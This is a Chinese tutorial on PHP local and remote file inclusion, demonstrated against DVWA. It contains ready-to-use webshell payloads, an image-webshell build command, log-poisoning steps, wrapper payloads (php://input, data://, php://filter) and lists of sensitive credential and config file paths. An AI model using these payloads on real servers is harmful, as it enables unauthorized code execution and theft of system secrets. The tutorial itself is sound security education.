文件包含
定义
因为相同代码重复出现在不同文件中,导致代码冗余。所以为了避免代码冗余,就出现了文件包含函数。文件包含就是让代码更为高效,需要用到的部分会去调用,且被包含的文件会被当做PHP代码执行,忽略后缀本身。
说明:
如果直接访问txt文件,那么会打开txt文件,将里面的内容当做字符串进行显示,不会执行。
如果通过内容包含,那么打开txt文件后,会将里面的内容作为代码进行执行。
#1.php中的内容
<?php
include('1.txt');
?>
思考:如果我们可以控制文件包含,是不是上传带一句话木马的文件,通过文件包含来调用木马文件就可以拿下服务器了?
函数
常用的本地文件包含函数有四个:
- include() #用到临时加载 (临时加载然后使用)[不影响整体]
- include_once() #检查之前是否包含过,如果有就不包含了
- require() #先加载,然后整合原有代码,然后一齐执行[影响整体]
- require_once() #检查之前是否包含过,如果有就不包含了
函数比较
include()与include_once()
#1.php内容
<?php
include('1.txt');
include('1.txt');
?>
#1.php内容
<?php
include_once('1.txt');
include_once('1.txt');
?>
有once会检查是否重复,如果之前执行过了就不会再执行了
include()与require()
#1.php内容,其中a.txt是不存在的文件
<?php
echo 1;
include('a.txt');
echo 'abc';
?>
#1.php内容,其中a.txt是不存在的文件
<?php
echo 1;
require('a.txt');
echo 'abc';
?>
include()调用出错不会影响正常代码的执行
require()调用出错会影响后续正常代码的执行
分类
本地文件包含
说明
本地文件包含(LFI) => 在目标机器上,上传文件马,然后包含
实现
服务器端
提前在服务器的此路径下准备好了1.php文件
#1.php中的内容
<?php phpinfo(); ?>
攻击端
在本地访问服务器,然后服务器通过本地文件包含,包含1.php的内容。注意可以写绝对路径也可以写相对路径
成功执行!
远程文件包含
说明
远程文件包含(RFI) => 让目标机器访问外网的某个文件,然后包含。1.txt(一句话木马)
默认情况下,远程文件包含不开启
必须修改配置文件:allow_url_include = On(远程文件包含)
我们不改配置文件,但是我们也可以远程文件包含。
绕过技巧:windows可以通过SMB文件共享来绕过allow_url_include = On,虽然使用的是本地文件包含,但是实现的功能是远程文件包含的功能。
实现
外部服务器
#haha.php的内容
<?php phpinfo();?>
攻击端
在本地访问服务器,通过远程文件包含访问第三方服务器
注意:显示的内容是服务器端的信息,与第三方服务器完全无关
利用文件包含读取文件
Windows系统敏感信息:
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
C:\windows\repair\sam //windows初次安装的密码
C:\program Files\mysql\my.ini //Mysql配置信息
C:\program Files\mysql\data\mysql\user.MYD //Mysql root
C:\windows\php.ini //php配置信息
......
Linux系统敏感信息:
/etc/passwd //linux用户信息
/usr/local/app/apache2/conf/httpd.conf //apache2配置文件
/usr/local/app/php5/lib/php.ini //php配置文件
/etc/httpd/conf/httpd.conf //apache配置文件
/etc/my.cnf //Mysql配置文件
......
这个就靠自己收集一些敏感文件的路径了
利用文件包含和文件上传漏洞包含图片木马
制作图片木马
准备图片
根据DVWA上传限制,图片大小小于100k
准备一句话木马文件
#1.php内容
<?php @eval($_REQUEST[8]);?>
图片马的制作
C:\Users\44880>copy C:\Users\44880\Desktop\R-C.jpg/b + C:\Users\44880\Desktop\1.php/a C:\Users\44880\Desktop\1.png
C:\Users\44880\Desktop\R-C.jpg
C:\Users\44880\Desktop\1.php
已复制 1 个文件。
两张图片直接看起来好像没有什么区别对吧?
使用文本编辑器打开图片进行查看
发现图片的16进制编码的最后多了一段一句话木马的内容
使用文件上传功能上传图片
通过DVWA上传一个文件大小小于100k,后缀名为png的图片
上传成功获取存储后的路径
通过文件包含访问图片马
使用菜刀进行连接
日志文件实现webshell
发起错误访问(访问一个不存在的文件)
两个目的:
生成错误的访问日志
根据报错结果得到phpstudy的安装路径,然后推测出日志文件的路径
通过文件包含访问报错日志
#猜测路径为
C:\phpStudy\PHPTutorial\Apache\logs\error.log
路径猜测正确
向报错日志中写入webshell
http://192.168.239.254/DVWA/vulnerabilities/fi/<?php phpinfo();?>
通过文件包含打开日志
发现并没有执行phpinfo,查看一下是否成功写入
很明显我们写入错误日志中的内容被转码了
通过BURP抓包
将转码的内容在解码成正常的格式
再次通过文件包含查看报错日志
成功获取webshell
PHP封装伪协议
PHP有很多内置URL风格的封装协议,这类协议与fopen()、copy()、file_exists()和filesize()的文件系统函数所提供的功能类似。
名称 | 描述 |
---|---|
file:// | 访问本地文件系统 |
http:// | 访问HTTP(s)网址 |
php:// | 访问各个输入/输出流(I/O streams) |
zlib:// | 压缩流 |
data:// | 数据(RFC 2397) |
phar:// | PHP归档 |
ssh2:// | Secure Shell 2 |
rar:// | RAR |
ogg:// | 音频流 |
expect:// | 处理交互式的流 |
ftp:// | 访问 FTP(s) URLs |
glob:// | 查找匹配的文件路径模式 |
PHP封装伪协议
php://filter——读取源码
php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。
简单通俗的说,这是一个中间件,在读入或写入数据的时候对数据进行处理后输出的一个过程。
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。
名称 | 描述 |
---|---|
resource=<要过滤的数据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流。 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
write=<写链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
常用语句
php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php
#说明:
利用filter协议读文件,将index.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。
而使用的convert.base64-encode,就是一种过滤器。
php://input——执行PHP代码
php://input 是个可以访问请求的原始数据的只读流。 POST 请求的情况下,最好使用 php://input 来代替 $HTTP_RAW_POST_DATA,因为它不依赖于特定的 php.ini 指令。 而且,这样的情况下 $HTTP_RAW_POST_DATA 默认没有填充, 比激活 always_populate_raw_post_data 潜在需要更少的内存。 enctype=“multipart/form-data” 的时候 php://input 是无效的。
使用php://input可以执行PHP语句,但使用这条语句时需要注意:php://input受限于allow_url_include选项。也就是说,只有在allow_url_include为On时才可以使用。
常用语句
在post头中:<?php fputs(fopen('test.php','w'),'<?php @eval($_REQUEST[8]);?>');?>
fopen( "test.txt", "w" );//以可写的方式打开一个文件,如果不存在就创建一个同名文件
data:// 协议
数据流封装器,以传递相应格式的数据。可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
file://
用于访问本地文件系统,并且不受allow_url_fopen,allow_url_include影响
file://协议主要用于访问文件(绝对路径、相对路径以及网络路径)
http://www.xx.com?file=file:///etc/passsword
zip://
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
zip://中只能传入绝对路径。
要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型的还有zlib://和bzip2://